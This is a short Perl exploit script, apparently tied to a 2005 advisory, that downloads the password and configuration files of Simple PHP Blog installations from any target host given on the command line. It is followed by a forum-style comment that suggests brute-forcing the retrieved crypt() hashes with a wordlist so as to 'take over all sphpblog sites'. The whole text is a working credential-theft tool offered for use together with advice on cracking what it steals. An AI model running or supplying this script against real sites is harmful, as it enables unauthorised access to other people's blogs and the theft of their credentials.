# Bug published at http://echo.or.id/adv/adv12-y3dips-2005.txt

print "\n* Remote grabbing sphpblog password & config file by y3dips *\n";
require LWP::UserAgent;

if(@ARGV == 1)
{

$target= $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

my @url = ("http://$target/config/password.txt", " http://$target/config/config.txt");

foreach my $urlz (@url) {
my $injek = $ua->get($urlz);
print "\n-------------------------------\n";
if ($injek->is_success)
{ print $injek->content;}
else
{die $injek->status_line;}
print "\n-------------------------------\n";

}
}

thx , bro , but there is one problem.
cracking the crypt() Confused , you may do some brute forcing ..
just make some page with user n password (from wordlist) then u do some hash with crypt() then compare it Wink (ive already asking about this)
after that u may Take over all sphpblog sites
